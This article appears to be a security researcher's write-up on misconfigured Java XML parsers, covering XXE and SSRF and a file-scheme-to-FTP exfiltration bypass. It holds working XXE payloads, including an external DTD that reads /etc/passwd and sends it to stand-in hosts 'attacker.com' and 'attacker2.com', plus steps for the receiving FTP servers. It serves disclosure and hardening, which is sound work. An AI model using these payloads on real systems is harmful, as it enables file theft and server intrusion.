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Misconfigurations in Java XML Parsers
XML is a powerful data format that can elegantly encapsulate any conceivable kind of information.
To ensure that this complex data adheres to a pre-defined structure, XML documents can specify a
DTD – a helper document that defines the expected structure of the data. And to help simplify the
contents of a complex document, XML allows for External Entities – bits of content that can be
included in a document by reference, like a link in a web page. DTDs and External Entities are
additional content for XML software to process, but this kind of software is often written with a
focus on the actual XML document, with less attention paid to the details of processing DTDs and
External Entities. An XML External Entity attack, or XXE attack, attempts to find vulnerabilities in
software that processes DTDs and External Entities of XML documents.

In particular, Java applications using XML parser libraries are often vulnerable to XXE because the
default settings for most Java XML parsers is to have DTDs processing and external entities
enabled.

The definitive solution to avoid XXE issues is to disable DTDs (and External Entities) processing.
However, for several reasons, developers do not disable it completely. It could be by mistake
because the application parser needs DTDs or because it is simply not possible to do it. When DTD



processing is necessary, in order to avoid XXE issues, developers should disable external entities
and external document type declarations.

Disabling these features varies, depending on each parser which, in some cases, could be
confusing for the developer and could lead to misconfigurations that expose the application to a
security issue. In the present article we will be discussing a few scenarios and offer a novel one
that is not always considered.

Let’s start by taking a look at javax.xml.parsers.DocumentBuilderFactory:

File fXmlFile = new File("Test.xml");

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

DocumentBuilder dBuilder = dbFactory.newDocumentBuilder();

Document doc = dBuilder.parse(fXmlFile);

This is the default configuration for DocumentBuilderFactory which IS affected by an XXE issue.

Occasionally, I have seen the following settings in the DocumentBuilderFactory object to try to
remediate the security hole:

dbf.setXIncludeAware(false);

dbf.setExpandEntityReferences(false);

This configuration does prevent XXE attacks as well as Xinclude attacks. It does not, however,
prevent Server-Side Request Forgery (SSRF), since DTD processing is still enabled. One way to
abuse this is to use a "Public" entity such as:

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE myPublicEntity PUBLIC '-//W3C//DTD HTML 4.01//EN'

'http://someIP:4444/IMMUNITY' >

But what if we use the following settings:

dbf.setFeature("http://xml.org/sax/features/external-general-entities", false)

dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

This will protect against XXE, since external entities are disabled, as well as external parameter
entities. However, we can still perform SSRF with the help of "Public" entities. In order to fix this,
the developer needs to add the following setting:

dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

This will prevent against SSRF using 'Public' entities. Of course, it would be safer to disable the
DTDs completely by using:

dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

Let’s try again, what if we use:

dbf.setAttribute(XMLConstants.FEATURE_SECURE_PROCESSING, true);

The Java 7/8 documentation reference says:



But this configuration does not prevent XXE or SSRF and, honestly, I couldn't find any difference
using this setting during my tests. Maybe the objective is only to prevent against DoS (as
mentioned in the documentation).

Then we have:

This feature could bring some confusion and a false sense of security to developers, as it doesn't
provide any protection against XXE or SSRF through "Public" entities.

Let's look at another example, using thejavax.xml.validation.SchemaFactory:

String filepath = "Test_Schema.xml";

String xmlSchema = new String(Files.readAllBytes(Paths.get(filepath)));

SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");

Schema schema = factory.newSchema(new StreamSource(new StringReader(xmlSchema)));

This code excerpt is by default affected by XXE. The general recommendation is to put the
following in order to prevent XXE issues:

factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
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factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");

Both flags are pretty much the same and allow the developers to enable and disable which
protocols are available. The documentation about them says:

Default value: The default value is implementation specific and therefore not specified. The following
options are provided for consideration:

an empty string to deny all access to external references;

a specific protocol, such as file, to give permission to only the protocol;

the keyword "all" to grant permission to all protocols.

Now, let's analyze the following configuration:

factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "file");

factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");

The first line allows only the use of the file protocol, and it seems that the feature
"ACCESS_EXTERNAL_DTD" has prevalence over "ACCESS_EXTERNAL_SCHEMA", which is configured
to deny all access to external references.

This configuration is affected by a classic XXE injection issue if the results of the parsing are
returned to the user. If you remember, the 'Classic' payload uses file protocol:

<?xml version="1.0"?>

<!DOCTYPE foo [

<!ENTITY xxe SYSTEM 'file:///etc/passwd'>

]>

<foo>&xxe;</foo>

However, this configuration appears to prevent a Blind XXE because http/s and ftp are not
allowed. Therefore, if the app does not show the results to the user (no classic XXE injection is
possible), this configuration seems safe by preventing Blind XXE attacks. Turns out this isn't true.

By digging a little bit deeper on the JDK protocol handlers, last year I discovered that it is also
possible to exfiltrate a file using FTP without using the ftp schema directly.

Analyzing the method openconnection() from sun.net.www.protocol.file.handler class, it is
possible to make an FTP request if the URL is not null nor “” nor “~” or not equal to “localhost” (1).
Therefore, with simply an IP address we can enter in this section of the code and it is easy to see
that it is creating a URL instance using “ftp” (2). No port is passed as parameter and the handler
uses the default port for FTP, port 21. Then the openConnection() method from the URL class is
called to perform the connection via FTP (3).



Therefore, this configuration does not mitigate a Blind XXE, as we can still use the FTP via file
protocol.

Exploitation
The procedure to leverage this issue will be like the 'Out of Bounds' XXE or Blind XXE, however in
this case, it will require two FTP services, one to host the malicious dtd and another one to receive
the content of the file that we want to exfiltrate. Remember we need to use in both cases the
default port for FTP, port 21.

This is the XML payload:

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE data [

<!ENTITY % dtd SYSTEM "file://attacker.com:5555/evil_ftp.dtd">

%dtd;

]>

<data>&send;</data>

Again, the port does not affect the behavior. It will always use the FTP default port.

This is the content of the evil_ftp.dtd:

<!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % param1 "<!ENTITY send SYSTEM 'file://attacker2.com:5555/%file;'>">

%param1;

Now we need to host the evil_ftp.dtd using a FTP server.

The steps are the following:

1. Host the evil_ftp.dtd file, which should be in the current directory, using:

sudo python xxeftp_mod.py

1. Start the ftp service in another host:

sudo python xxeftp.py
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1. Send the XML payload to the parser.

4.Profit!

If you want to test it, you can use the /jaxp/InlineSchemaValidator.java sample provided by

Xerces2 source code in its latest release [Xerces-J-src.2.12.1.tar.gz]
(https://apache.dattatec.com//xerces/j/source/Xerces-J-src.2.12.1.tar.gz).

This sample application is vulnerable by default to XXE and it can be use it to test some of the anti-
XXE features that I described in this post. To test the OOB Technique using the 'file' payload you
only need to add "ACCESS_EXTERNAL_DTD" attribute to the
javax.xml.parsers.DocumentBuilderFactory instance located at line 479.

Final Comments
If the XML parser has DTD processing enabled, analyze all the other settings instead. The
applied settings could lead to other vulnerabilities (less serious but still important as SSRF).

Check it on a local environment, create an XML parser with the same settings and test it. You
can also debug it and analyze it.

Sometimes the XML Parser settings do not do what it seems, you need to track them down
through the code.

The best solution is to disable DTD processing completely.
Some things about the exfiltration: Latest updates of Java 7 (1.7_80) and 8 (1.8.0_281) does not
allowed illegal characters in an FTP's URLs, so it is no longer possible to exfiltrate files
containing LF (Line Feed) characters, like /etc/passwd, however you can still exfiltrate /etc/issue
as a simple Proof-of-Concept. This URL validation is present in the FTP handler since Java
version 11.
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